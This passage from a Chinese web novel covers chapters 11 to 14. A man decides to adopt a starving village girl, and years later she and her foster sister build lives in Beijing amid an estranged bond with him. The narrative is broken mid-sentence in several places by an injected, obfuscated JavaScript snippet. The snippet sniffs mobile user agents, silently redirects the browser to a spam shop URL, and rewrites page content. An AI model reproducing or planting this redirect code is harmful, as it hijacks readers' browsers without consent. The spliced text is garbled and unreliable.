“这个哑巴呢,五六十岁了,身体也就那样子,勉勉强强将妹妹拉扯到三岁,就死掉了。” 话停了。梁怀聿没接话,远处飘来隐约的鸡叫。 就这么完了? 一个人的来处,两个人的死亡,一个孩子的八年,就这么轻飘飘的,三句话,就完了。 房间门吱呀一声响,穿着新衣的小妹妹走出来。 梁怀聿低头看着安静的小豆芽。尺码按身高来说是合适的,可她太瘦,衣服不像穿在她身上,像挂着。像一个麻布袋。 竟然八岁了。 景翊同样八岁,她比他矮了多少? 小孩子蹿得高,前两年还是小小豆的梁景翊,今年快到他胸口了。 而她呢,才到他的大腿根部,像是刚发芽不久,再不浇水,马上就会渴死的豆芽。 梁怀聿蹲下来,牵住她小小瘦瘦的手,他再次想起那只幼猫。它在他怀里咽气,死了之后,它的身体似乎更加干瘪,像是缩了水的肉垫冰凉地搭在掌心。 他忍住将她甩开的强烈冲动,梁怀聿扬起一个过分灿烂明媚的笑容:“哇!新衣服真好看,很适合你哦。小妹妹,你叫什么名字呀?” 矫揉造作没换来女孩的搭理。她还是那副呆呆的、看着不太聪明的样子,梁怀聿心想,原来脑壳有问题的人是这样的。 他转头看向村长。 笨归笨,不是说不是哑巴吗?? 村长看着他,倏忽扯开一个诡异的笑容:“梁先生,你等一下!” 十分钟后,另一颗小豆芽被领到他面前。 不,准确来说是小豆子。她比小豆芽更矮小,但胖些,没那么瘦,天生的婴儿肥令她看起来勉强像一颗圆润的小豆子。 小豆子来了。那颗灰扑扑的水晶球,忽然亮了一下。 她拎起新衣的衣摆,展示给比自己还矮半个头的小女孩,慢慢吞吞地,一个字一个字往外挤: “哥哥……给我的。新衣服。”真的不是哑巴啊。 村长向他解释:“妹妹只有在平安面前才会多讲几句话,她们两个是姐妹花,从小到大黏在一起。” “双胞胎?” “不是,这个平安是隔壁家的,哑巴死了后,妹妹是靠平安家给饭吃长大的。” 文容给孩子们发完东西后,过来找他。他还得走访看看严重贫困的几户人家,选择几位孩子供他们读书。 雨后的泥巴地和沼泽地有什么区别,梁怀聿原本打算原地等他,此刻改了想法:“我和你一起去。” 小豆子就是走访的人家之一。 梁怀聿看见了世界的另一面,与自己生活截然相反的世界。 他不想详细描述那天的所见所闻,因为任何一种描述,对他们的生活而言,都将是霸凌。 文容和大人沟通,从他们那和方言没什么区别的普通话里,了解到两位女孩的生活与读书。 在说到她们要走一个小时去隔壁村读小学时,两个女孩正贴在一起翻看童话书。 梁怀聿深深地凝着。他猜想她们并不识字,是看着插画傻笑。就算义务教育是免费的,可上下学徒步两小时,城里孩子都不一定能坚持,更何况她们要走崎岖山路。 那晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁怀聿在黑暗里惊醒,喉头泛着酸水。 他想起握住她手臂那一刻,恶心的令他想要呕吐的触觉从肌肤传递到大脑。 梁怀聿靠着车窗,他们需要坐车赶到隔壁城市,再乘坐高铁到达长沙,再从长沙飞回北京。 车窗外的群山在晨雾中倒退。 梁怀聿靠着震动的车窗,看着那片吞噬了无数小豆芽的褶皱群山。 他试着去回忆那只猫。取而代之的,却是另一张脸,灰扑扑的,瘦得只剩一双明亮的眼睛。 那双眼睛就那样望着他,从门缝里,从泥地里,从此刻摇摇晃晃的车窗上。 哪里都是她。 “文容。” “嗯?” “如果修不了学校,我送她们出来读书。” 车窗外的群山还在退,他们离那越来越远。 梁怀聿转过头,看着表哥,一字一句郑重地重复决定: “我想收养那个孩子。” 12. 大雪 余简之和余平安一同出门,一个去上班,一个去面试。 来北京之前,余平安已经在网上投递了很多简历,约了几个线下面试。 余简之给她打气:“加油加油加油,你一定行!”余平安被她逗笑,拍拍她的肩出门了。 中午余简之在食堂吃饭,一个身影风风火火地在对面啪叽坐下。余简之抬起头:“啊,梁景翊,你怎么在这里?” “来找你啊。”梁景翊说得坦然,他摘下棒球帽,拿起筷子夹起余简之碗里的一块肉,“嗯,还不错。” 余简之警惕地将碗往怀里抱了抱。 “小气鬼。”梁景翊咧开嘴,“今天不找你演戏,我就是来看看你。住得还习惯吗?” “嗯,挺好的。这个房子我很喜欢。” “不好意思啊,搬家那天我小姨突然不舒服,我和容叔一起去看望她了,就没能来帮你。” “容叔?” 是指文容吗?文容是梁怀聿的表哥,不应该也是梁景翊的哥哥吗,怎么叫叔叔? “哦,就是公司那个文总啊,你应该知道吧。” 余简之点点头:“知道。” “他是我哥那边的表哥,我和他没有血缘关系的,小时候我俩不熟,我都不知道他是谁,他又显老,我就一直叫叔叔,习惯了,长大后也懒得改口了。” “噢。”余简之低头扒拉了口饭,忽然抬头,“等等,你和他为什么没有血缘关系?” “我哥是我的半个亲哥,我俩一个爹,不是一个妈,容叔是他妈妈那边的亲戚。” “没听说过。” “什么?” “哦,我说……之前没听你说过这些。” 她只知道梁景翊很小父母就走了,是哥哥一手养大。她从没听梁怀聿说过他父母的事情。 梁景翊往后一靠,笑容淡了些,但依旧明朗:“因为小时候我俩不亲,后来……我只有他了啊,我和我哥相依为命这么多年,有多少血缘关系不重要。” “噢。”余简之低下头,扒了一口饭,嚼了很久才咽下去。 晚上回到家,已经有热气腾腾的晚餐在等她了。 余简之鼻尖蓦地一酸。那余平安也是她的亲姐姐,哪怕她们身上没有流着一丁点儿相同的血液,也是永远的、一辈子的亲姐妹。 她上前想要接过锅铲:“我来吧。” “不不不,”余平安推开她,“你先去换衣服,我马上就炒好了。” 晚餐余简之听余平安详细说面试的事,下午她就从微信里得知平安今天的几个面试都不太尽人意。 “天哪,我当时一听见身边那人说她是A大的,我就知道完蛋了,我肯定招不上了。A大这么厉害,还要来和我们抢着当教培老师,哎,难道找不到别的好工作么?非要来和我们卷。” “北京是这样的,不过很多人只是短择,一边工作一边考公考编什么的。”余简之安慰她,“你不用着急,现在我有收入,养你没问题。北京好工作不少,就是需要慢慢找。” “找啊找,不知道要找到什么时候……今天坐地铁都花了三十大洋,”余平安肉痛极了,“还挤得要死,换乘都等了两趟。” 余简之呵呵一笑,通勤她倒是习惯了,何况搬家后比之前方便多多了,有了对比,她没什么可抱怨的了。 她到工位后翻了一下公司官网和招聘软件,没想到没有在招的营销部岗位了。 【余简之:薇薇,咱们公司有内推吗?】 【郑以薇:没了解过,咋啦,你想推人?】 【余简之:对,我有个朋友想在北京找份工作QAQ】 【郑以薇:北漂啊,很辛苦的,现在大环境不好,工作只能慢慢找了】 午餐时余简之在餐厅遇见林芝韵,刚好问了她内推的事。 林芝韵说:“我们项目组还缺人,但是得会外语的,不止要会英语,如果会法语或者西班牙语更好。” 余简之汗颜。也对,她的工作和海外有关,对语言有要求,余平安的英语水平估计都不太能过关,上学时她成绩最差的就是英语。 她点开与梁景翊的对话框。 【余简之:你哥的公司有没有内推岗啊SOS】 【梁景翊:你想推人?】 【余简之:嗯,我朋友来北京打拼呢】 【余简之:帮帮我吧梁大帅哥】 - 【梁景翊:你哥的公司有没有内推岗啊SOS】 【梁景翊:撤回了一条消息】 【梁景翊:哥,咱们公司最近有招聘计划吗?】 【梁怀聿:?】 【梁景翊:哦,就是我有个朋友,能力不错,对咱们公司特别向往。想做品牌营销那块,你帮我看看还有没有坑位呗?】 【梁怀聿:你还有需要工作的朋友?】 【梁景翊:哎,你别管那么多】 【梁怀聿:简历发给我秘书】 【梁景翊:谢谢哥!!!】 退出微信,返回相册。文容凑过来:“呀,在整理简之的照片?” “……嗯。” 真正与简之朝夕相处的时间很少,整理出来才发现留下的照片并不多,至今整理出一百多张,不过是简单照片数量的十分之一。 这些照片又按照时间散布在相册的各个角落里,这些天只要有空,梁怀聿就会寻找并整理它们。 文容啧啧:“真是时间匆匆啊,这是简之第一次上北京时拍的吧?好像正是这个时候呢,遇上五年来最大的一次的雪。她当时可开心了。” 照片里,第一次堆雪人的小姑娘,在梁怀聿的指导下,滚出了两个毫不圆润的球体。两片叶子当做眼睛,鼻子是棒棒糖,手臂是树枝。 雪人和女孩都太可爱,梁怀聿忍不住说:“我给你拍张照吧,小简。” 他蹲下来,拿出手机。 那个时候,小姑娘虽然仍是怯怯的,但已经敢开口说话,不再是小哑巴了,安静的性格底色下透出一颗贪玩活泼的孩子心。 面对摄像头,余简之扬起一个大大的笑容,嘴角快要咧到耳后。 “简之,去抱着雪人。” 拍完几张后,他低头翻看照片,不太满意。然后他这样吩咐肢体僵硬的女孩,一点点调动着从前几乎没有拍过照片的小女孩。 “对,就这样,笑得再开心一点,好不好?” “给雪人比个小兔耳朵。会不会?这样,用手指这样……” “你再离雪人近一点好吗?抱紧一点。是不是太冷?没关系的,拍张照,很快就好了。” 等待文容赶来时,雪花又开始纷纷扬扬地飘落。梁怀聿本想拉着她到车里等待,转身却看见她欣喜地伸出手迎接。 她摘下毛线手套,用肌肤感受着雪花的温度与重量。 第一次有雪花落在掌心,小姑娘惊奇地瞪大眼睛,收拢手指,雪白的雪花融成冰凉的水珠,她发出一串清脆的独属于孩童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202937|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑声。 小姑娘很喜欢雪,身为成年人的梁怀聿敏锐地察觉到,他不由自主地脱口而出:“小简喜欢的话,以后每年冬天都来北京看雪吧。” 话音落下他才意识到自己说了什么。 每年冬天?这是一个无穷的承诺,需要穿越无数忙碌、变故、不确定的日子。 可是小女孩已经仰起小脸,眼睛亮得像落进了星星:“真的可以吗,哥哥?” “当然。”他望着她的眼睛,不受控制地回答。 透着渴求与期待的眼睛,面对它,梁怀聿怎么说得出口否定的答案? 梁怀聿对自己提出了言出必行的要求。 从那以后,一年一次,从未失约。 记忆远比像素清晰。梁怀聿将两行照片添加至以简之命名的相册。 文容在他面前坐下:“我这里还有很多简之的照片,我发给你吧。” “嗯。” 文容看着他一张张保存、归类,忽然开口,再次问出自己在意许久的问题: “怀聿,你明明这么在意简之,当初为什么突然不管她了?就因为她自作主张去了美国?” 梁怀聿滑动屏幕的手指微微一顿。 文容指的是四年前,余简之带着那张存有巨款的银行卡飞往大洋彼岸,他和文容都是在她抵达美国后才知晓此事。 文容立刻飞去美国看她,梁怀聿则冷淡地表示“不去”。 此后多年,即便赴美出差,梁怀聿也未曾看望简之一次。 文容与余简之的最后一次联系,是她考上美国的研究生,文容问她需不需要帮助,余简之摇摇头:“怀聿哥哥给我的钱,还有很多。” “原来怀聿面上傲娇地说再也不会联系你了,实际上一直在偷偷给你转钱啊,”文容笑,“你有空回国看看哥哥吧,向他道个歉。其实他很想你,只是不好意思说。” 余简之神情复杂:“不是的,这个是……两年前哥哥给了我很多钱。后来我们一直没有联系的。” 当时文容将这番对话原原本本地复述给梁怀聿,他给出了一样的答案:“是,我们没有联系过。以后也不会联系。” 从此他们之间再未提起过余简之这个名字。 文容可以理解,悉心资助的学生成了白眼狼,他遇到不少这样的事。他资助的任何一位孩子,他都不敢保证一定懂得知恩图报,独独余简之,绝不可能成为白眼狼。 她不是一个被资助的普通学生。在他看来,梁怀聿对她,完全是当做妹妹甚至女儿在教养在守护。 “……还是说,发生了什么别的我不知道的事情?”文容目光炯炯地看着梁怀聿。 空气静默。避而不谈,实在诡谲。 两年前梁怀聿没有给文容答案,两年后依然如此。 他将手中的照片加入相册。 十八岁的余简之站在大学门口,穿着一条简洁的白色连衣裙。她褪去少女时期的圆润,显露出柔和的腰线与清晰的锁骨轮廓,长发柔软地披在肩上,对着镜头微笑,眉眼舒展,是一种介乎青涩与成熟之间的、干净而明亮的美。 他站在她的身侧,一身挺括的深色衬衫,挺拔如松。他记得自己当时略微侧身,是一个习惯性将她纳入保护范围的姿态。但照片里,他们的身高差不再悬殊到需要他俯身迁就。她的发顶,已能轻触到他的下颌。 从前是女孩与少年,如今是少女与男人。 “小姑娘长大了,不需要我了。” 13. 冬至 余简之难得没加班。 下了地铁她钻进家门口的小超市,买了些新鲜蔬果菜。平安刚结束一个面试,已经在回来路上了,余简之估不准时间,只能做些简单菜。 她快速蒸了个蒜蓉金针菇,又麻溜地炒了青椒炒牛肉和火腿肠炒土豆,再煮了碗紫菜蛋汤。 余平安卡点回家,饭刚刚好。 “平安,来,你拌下这个金针菇看看,盐够了吗?” “哇,都是我爱吃的菜,简之你真好。”余平安放下包,换了衣服返回餐厅,拿起筷子尝了一口,“好吃,妹妹你厨艺越来越好了。” “唉,没办法,白人饭就没有好吃的,只能自己动手。” 余简之摘下围裙,盛了两碗饭端来。她没问平安面试结果怎么样,平安不说,她就不问。 “今天怎么下班这么早?我本来准备回来给你做煲仔饭。” “因为没有加班,到点我就走了。” “这么好……”余平安叹气,“今天HR跟我说,日常加班到九点是常态,而且——加班费,绝对不可能有。真羡慕你,能在怀聿哥的公司工作。有他关照,工作应该会轻松不少吧?” 筷子磕在牙上。余简之飞快抽出,夹了块土豆塞进嘴里,含糊不清地说:“没有,我和哥哥工作中没有交集。是因为哥哥的公司本来就氛围好。” “要是我当初不犹犹豫豫,在你回国的时候和你一起来北京就好了,说不定现在我也能进怀聿哥的公司上班。怪我太磨叽,现在这个岗位不招人了。” “虽然现在官网没有招聘了,不过可能会有一些内推名额,我问问看。”余简之不敢说自己已经问过了,就算梁景翊大手一揽说这事交给他,要她发了一份简历过去,这事似乎十拿九稳了。 没有确切降临的幸福,容易成为悲剧。 余平安苦笑:“妹妹,你知道我有多羡慕你吗?我不管做任何事,永远差了一步。不管是被怀聿哥资助,还是来北京……高考、读大学、去美国留学……从前我们挤在一个被窝里,觉得世界一样大。不知道从哪天起,你一回头,我已经落在后面很远了。” 余简之轻轻抬眸,餐桌对面,余平安苦唧唧着一张脸,筷子在食物里翻啊翻,始终没有夹取。她的心思不在这一桌美食上。 余平安反应过来自己说了什么,又很快道歉:“对不起,简之。我……刚刚的话,你别往心里去。我这几天面试魔怔了。” 余简之扬起明亮的笑脸:“我懂的,姐姐。我刚来北京那会压力也大。没事的,你不是孤单一人,有我给你撑腰呢。找工作这事得慢慢来,不能急功近利。” 可即便克制着这句话不进入心脏,耳朵也替她记住了。 - 今天项目组有个会,这是自小组集体升职后第一个会议,林芝韵说梁总大概率会参加,所有人都需做足准备。 余简之对自己的工作放心,她紧张的是,这是第一次与梁怀聿在工作场合中见面。 她很奇怪自己对梁怀聿会是什么态度。 对,奇怪。 连她自己也拿不准,自己在梁怀聿面前将会是什么样子。成熟的还是青涩的,妹妹简之还是独立女性余简之。 敲定的会议时间过去了五分钟。 林芝韵确定:“梁总不会来了,我们开始吧。” 那刻会议室上方似乎都是大家悄悄吐出来的一口沉气,就连余简之也不例外。 就在这时,放在桌上的手机微微一震。 余简之低头一瞥,有新短信,备注是“哥哥”。 【是平安找工作?】 心脏狂跳,余简之在桌下划开手机。 【是的,哥哥,她现在在北京】 这场会议几乎每个人都需发言。在第三个人结束发言后,余简之才收到回复。 【公司没有适合她的岗位】 余简之心一沉。马上到她发言,她按灭手机,竖起笔记本。 不是没有回复“抱歉打扰哥哥”的时间,而是她不想就这么结束对话,放弃她唾手可得的机会。 平安说的没错,她就是幸运地比平安多那么一步。同为梁怀聿资助的女孩,他对她们的上心程度并不一致。 事事多一步,十年多万步。 她一边念着近期的工作内容与成果,一边在脑海里快速过了一遍她要发给梁怀聿的话。 她必须要为平安争取一个机会。 余简之完全不记得自己说了些什么,林芝韵赞许地点评,她从不吝啬对刚进入社会的女孩投以鼓励,余简之以微笑回复。 直到身旁的人讲话过半,她温吞地拿起手机。她没有回复,但对面已发来新一条消息。 来自五分钟前。 【我有位朋友的孩子五年级了,正在找语文家教,每周大概需要上岗三天。或许能作为平安的过渡工作?】 余简之眼睛一亮。 余平安的日程安排得满满当当,此刻估计不是在面试就是在面试的路上,余简之不想影响她,想忍到回家再跟她说,梁怀聿那边已经直接将朋友的微信号推了过来。 是通过微信发给她的。 收到这条消息时,余简之微怔。 梁怀聿是什么时候把她拉黑的? 没有等到她的答案那天,还是她告诉他她在美国后?余简之不知道。 她和梁怀聿鲜少用微信交流,大多是打电话。来到美国后,她立刻给他打去了电话,梁怀聿语气冷淡地“嗯”了一声。 她惴惴不安:“哥哥,不要生气……” 梁怀聿扔下一句“我没有生气”后挂断电话。 在美国的第一个周末,文容飞来,他在美国留学多年,絮絮叨叨地告诉她注意事项,陪着她采买生活用品。 “哥哥没有来吗?”她小心翼翼问。 文容说他这周工作太忙。“下周哥哥一定会来看你的。你第一次出远门,他怎么可能不担心,一定会来的,放心。” 文容说得信誓旦旦,余简之没说她知道,哥哥可能不会来了。 可是她依然在等着梁怀聿来看她。就这样等了两个月,她来到美国的第六十天,她在便利店购买晚餐。千篇一律、乏味的快餐,与平常没什么不同,结账时她多拿了一瓶果酒,仅此而已。 果酒。 余简之至今不清楚当时自己有没有喝醉。一瓶果酒而已,会醉吗? 可她后来的行为,确确实实是醉了的。 她给梁怀聿打去电话。他接了。余简之晕乎乎地喊了一声“哥哥”。没有得到回复,她又打开免提,手机再度放在唇边:“哥哥,你在吗?” 男人的呼吸声清晰地从听筒里漏出来,宛如电流将她击沉。 她又委屈又不知所措:“怀聿哥哥,你还在生我气,对吗?” 回应她的依然是呼吸声,深深沉沉,与心跳的频率重合。 她挂断电话,点开微信拨通视频。她不要他说话了,她就看看他,就好。 呼叫失败,余简之失语地看着醒目的红色感叹号。 消息已发出,被对方拒收。 不是未接,不是忙线,是拒收。 所有的答案都在这句话里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202938|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他不要她了。 她没有越挫越勇、永不言弃的勇气,年轻的自尊薄如蝉翼,一次彻底的碰壁,足以让她学会绕行。 余简之深呼吸,长按名片,转发给余平安。 第二天晚上,余平安买了肥牛卷和虾滑,煮了好大一锅火锅。余简之会心一笑:“工作搞定啦?” “嗯!明天就去工作。”余平安笑盈盈。 “这么快?” “对啊,她儿子语文成绩特别差,一听说我在辅导班上过课,立刻就让我明天去上班了。” “那……工资呢?” 余平安神秘一笑:“大户人家。” 余简之替她开心:“那就好!” 虽然这不能当做一份正式工作,但至少有了收入,余平安安心不少。余简之劝她不要着急,这次她真听进去了,在招聘软件上和HR聊欢了后再约面试。 “我想请哥哥吃饭。” 工资周结,拿到首周工资后,余平安忽然说。 虽然余简之瞒着没说是梁怀聿帮忙找的工作,她想让平安有成就感,但还是很快被她发现。 “……嗯,可以啊。” 余平安和哥哥也很久没见了。是该见一面。 “你也一起去吧。” 余简之无法拒绝:“嗯。” 余平安主动向梁怀聿打去电话,余简之知道时,时间已经约定好,在下周。 余简之提醒她:“那天是圣诞节。” “这是哥提的时间。没事吧?他应该不需要过圣诞节。”余平安盯着她,“再说他圣诞节有空,你不应该开心吗?” 余简之:“……” 余平安说她对北京不熟,让她帮忙找餐厅。余简之又比她了解多少?之前梁怀聿带她吃的那些餐厅,余平安肯定负担不起,余简之只好求助郑以薇推荐了一家。 奈何郑以薇也是大小姐,她推荐的餐厅在公司附近,开车大约十分钟,地段太好,人均不便宜,因而余简之又另外选了一家供余平安选择。 余平安心疼地选择了第一个:“毕竟是哥哥,不能太小气吧啦。” 余简之用微信将地址分享给梁怀聿。 【梁怀聿:好】 余简之盯着上面的消息。呼叫失败的视频通话,依然安静地躺在上方。 她或许是一个念旧的人,四年里她换了两部新手机,习惯将所有聊天记录传送。就连这段糟糕的记忆都被完完整整地传送了过来。 周一余简之收到梁景翊发来的消息。 【梁景翊:周四出去玩?】 梁景翊这人开朗外向又大方,虽然有些大少爷的蛮脾气,但老实说没有人会讨厌和他相处。分手后,两人仍然是朋友,梁景翊约着她出去玩过几次,余简之没拒绝,分寸保持得极好,好似两个人从来没有过那段恋爱。 余简之翻开日程本,圣诞老人的标志很是惹眼。 【余简之:NO】 【余简之:我有约了】 【梁景翊:和谁呀,你还有朋友在北京】 【余简之:……】 【余简之:我又不是孤家寡人】 【梁景翊:哦,是不是上次那个要你帮忙找工作的】 【余简之:bingo】 【梁景翊:是你从小到大的好朋友?那你的朋友就是我的朋友啊,咱仨一起呗】 【余简之:你脸皮咋这么厚】 【余简之:我才不要,还有我同事】 她可没骗人,梁怀聿确实是她同事。 【梁景翊:那行吧,元旦再约】 14. 冬至 圣诞那天,余简之化了淡妆出门。进入办公室,郑以薇托着腮朝她笑,随后低头手机里打字:【看来今天要和小男友共度良宵咯】 【余简之:没,和女性朋友】 圣诞夜,没人加班,甚至有人偷偷早退半小时,在今天也可以睁一只眼闭一只眼。 余简之的胆子没那么大,只敢在下班前五分钟收拾好包包、关闭电脑,乖乖等着时针指向五点。 【郑以薇:还说不是约会,你很着急啊】 【余简之:略略略,你管我】 余简之确实着急。餐厅离公司有段距离,徒步过去又冷又累,共享单车是最好的选择,虽然更冷,但冷的时间短。但只要晚了,单车就会被骑光。 一到点余简之立刻拎包走人、打卡进电梯。 公司楼下已经光溜溜地没有车了——余简之目瞪口呆,这就是圣诞的杀伤力吗。 她打开导航,沿着马路走着。昨天她刷视频看到今天可能会迎来初雪,因而穿了一双与今天的装扮极不相称的加绒雪地靴。 即便靴子有着厚厚的绒,走了三五步路,余简之仍是冷得打哆嗦,双脚冻得邦邦硬。她停住,打开打车软件,同时一边观望着路过的出租车。 手机一响。 【梁怀聿:工作结束了吗?来停车场,我接你过去】 余简之冷得抽气。她忘记戴手套。 【余简之:我已经在公司外面】 【梁怀聿:站着不要动了,我来找你】 余简之放下手机,双手插进兜里,握成拳不住地发抖。 等了三四分钟,一辆黑车从公司停车场驶出,速度缓缓地停在她面前。 余简之飞快地扫了一眼公司大门的方向,确认没有熟人,才拉开副驾的门,像只偷溜进暖气房的猫,倏地钻了进去。 车内暖气很足,突如其来的温暖,反倒让她打了个好几个冷颤才平复下来。 梁怀聿的目光落在她的身上,看着她抬起双手放在唇下哈气暖了暖,不禁蹙眉:“你穿得太少了,今天降温。” 这是什么鬼穿搭?红色格纹斗篷,同色系半身裙,看着就没什么厚度的光腿神器。只有鞋子他勉强觉得合适。 余简之闻言一顿,小声辩解:“……今天圣诞嘛。” “圣诞就不冷了?”梁怀聿俯身勾了扔在后排座椅的披肩,直接搭在她肩上,“先披着。” 披肩带着暖意裹上来,余简之低头闻了闻。 “文容哥不来吗?” “他陪女友。” 余简之愣了一下,“噢”。 文容哥竟然有女友,心里说不出来怪怪的感觉。大概因为文容给她的感觉太像爸爸,总是一边絮絮叨叨一边帮她完成一切。 余平安发来消息,她已经到了。 坐车一下子就到了,余简之下车,要摘披肩,梁怀聿说:“你披着吧。” “饭店不冷的。” 余简之坚持,坚持了一句,接触到梁怀聿的视线,就悻悻然放弃了。 余平安在座位上使劲挥了挥手:“简之!哥!这边!” 余简之挨着她坐下,刚要摘披肩,手触碰到柔软的流苏,又放下了。 空气里飘着一丝说不清的安静,幸好服务生开始上菜,杯盘的轻响恰到好处处地填满了空隙。 “哥哥,那个工作……我特别、特别谢谢您。”余平安双手捧着酒杯,脸上是真心实意的感激。 梁怀聿也端起酒杯,唇角是淡淡的笑意:“是你自己有能力。张太太后来还特意打电话给我,夸你耐心。” “不一样的,哥哥。对方主要是因为哥哥的原因才聘用我的,我知道的。谢谢哥哥,从小时候起就是……很多事,我心里都记着的。” 梁怀聿神色温和:“你们俩,都是我的妹妹。你们能好好的,就行了。” 余简之被cue到,憋了半晌,也去摸酒杯:“谢谢哥哥。” “接下来怎么打算?北京压力大,但机会也多。有什么难处,随时可以开口。” 余平安用力点头,笑容大了些:“嗯!谢谢哥哥,我存着您和文容哥的电话呢。要是真有大事,我肯定不会硬抗啦。我倒没什么特别打算,来北京就是打工,打工就是为了赚钱。现在既然有了收入,我就打算慢慢找工作了,合适最重要。” “是。平时小事也要当心。你刚来,气候、交通、吃饭,样样都得重新适应。” “是挺累的,”余平安肩膀塌了一下,随即又撞撞身边的余简之,带上了点玩笑的口气,“不过看她都能混得人模人样的,我总不能输太多吧?” 余简之正小口喝汤,被撞得差点噎住,脸腾地红了:“胡说什么呀你……我又不是狗!” 梁怀聿看着她们闹,没说话,只是唇角又弯起一点。等她们停下,他才继续开口: “归根结底,工作赚钱是为了更好地生活,生活永远是第一位,你们要注意身体,不要太累。人生大事若有打算,可以告诉我,我来帮衬。不用怕,有我。” 他说得含蓄,意思还是明了。 余平安眨眨眼,声音轻快:“我还早呢,倒是简之,进度条可能比我快点儿?。” “这件事同找工作一样,急不得,要认真挑选。是后半辈子相互依靠的人,人要看准,目光需放得长远些。” 这话不管怎么听都像在敲打他,余简之把头埋得低了些,含糊地应了一声:“知道了哥哥。” 餐桌上热气袅袅,若有似无的尴尬气氛随着食物一起被慢慢消化。余平安微醺了,渐渐放松下来,话也多了: “怀聿哥,你还记不记得,有一年冬天,特冷,你带我和妹妹后海滑冰车?妹妹胆子小,不敢上冰,你就把她抱到冰车上,自己在前面拉着绳子跑,结果你跑得太快,冰车歪了,她直接坐了个大屁墩儿!咚一声!” “记得。”梁怀聿声音柔柔,“简之胆子不小,她摔了愣是不哭,反而坐在冰上傻乐。” 当时他还真愣了一下,怀疑村长说的那话没错,余妹妹脑子有问题。 “后来还非要缠着你吃糖葫芦,弄得我们围巾上到处都是。”余平安笑出声。 梁怀聿一边听平安说话,一边拿起公筷,很自然地夹了块鱼肚放进她碗里。 “那个时候才那么点大,现在你们都长这么大了。” 余平安得意地笑盈盈:“对啊,我大学四年蹿高了好多!不过现在不敢乱吃了,不想长胖。” “不要太在意身材,健康就好。” “哥你也是。最近是不是特别忙?要注意身体啊。” “年底事情是多一些。你们也是,北京冬天干冷,要注意保暖,尤其是你,”他微微侧头,目光落回余简之身上,皱眉,“穿得太少。” 余简之正小口吃鱼,被点名后下意识揪紧了披肩,小声辩解:“在屋里不冷的……” 余平安瞅一眼她的圣诞穿搭,笑出了声:“哥,她这是圣诞特供皮肤,限时装备,你就别管啦,只有今天会穿少些。” “她每次都穿这么少。”梁怀聿没笑,“天气预报有看过吗?今晚若下雪,明天降温,必须要穿厚实些。” “知道啦——”两个女孩拖长声音应道,像小时候一样。 余平安打开手机准备结账,才发现已经被付过了。惊喜,又觉得理所当然。 “又让哥破费了。” “小事。”梁怀聿已起身拿外套。 走出餐厅,商场的热浪裹着圣诞歌扑面而来。余平安立刻说她想买条围巾。 “哥你和我们一起去好么?我给你也买一条。” 余简之气得偷偷掐她。余平安哪里是那种舍得在商场购买溢价产品的人,完全是在帮他们延长独处时间! 她等着梁怀聿拒绝,结果他说:“好。” 等梁怀聿走到前头,余简之立刻不收敛地掐得平安嗷嗷直叫。 “干嘛!你难道不想和哥哥多待一会吗?” 她的声音不高不低,前面的人脚步似乎微停,余简之掐得更用力了。 她压低声音,耳根通红:“拜托!你是不是忘记了,我现在是他弟弟的女朋友哎!” “那有什么关系吗?”余平安灵活着腰躲开,“反正你喜欢的是哥哥又不是弟弟。” “余!平!安!”余简之咬牙切齿。 走在前面的梁怀聿彻底停步转身。余简之吓得立刻松手,低头假装整理披肩。 “去哪?”他的目光不离两个小女孩,问。 “去负一楼吧!”余平安赶紧接话。 圣诞夜的商场像个温暖的童话。中庭矗立着巨大的圣诞树,挤满拍照的人,人造雪花在空气里缓缓飘落。 余平安兴奋地推她:“快来,就这儿!你这身打扮正合适。”余平安一把摘下她的披肩,又给她理了理头发卷儿。 凑在一旁拍照的人太多,两人等了一会,余平安看准间隙,将她塞进了圣诞树前光晕最好的位置。 “来,看这儿!” 余简之很乖地摆出姿势,余平安举起手机,咔咔狂拍。 切换到下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204885|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个姿势的瞬间,余简之的目光越过余平安的肩,骤然凝住。 梁怀聿站在不远处。他穿着一件深色羊毛大衣,身姿挺立,与周遭喧闹温热的节日气息保持着一种微妙的距离感。 时光仿佛在这一刻折叠。 她几乎快要忘记初见他的模样。应该是英姿飒爽的少年,如今全部褪去那些青涩与锐气,只剩下沉稳与成熟。 但是,此刻他却做了一件与他的身份气质完全不相配的事情。 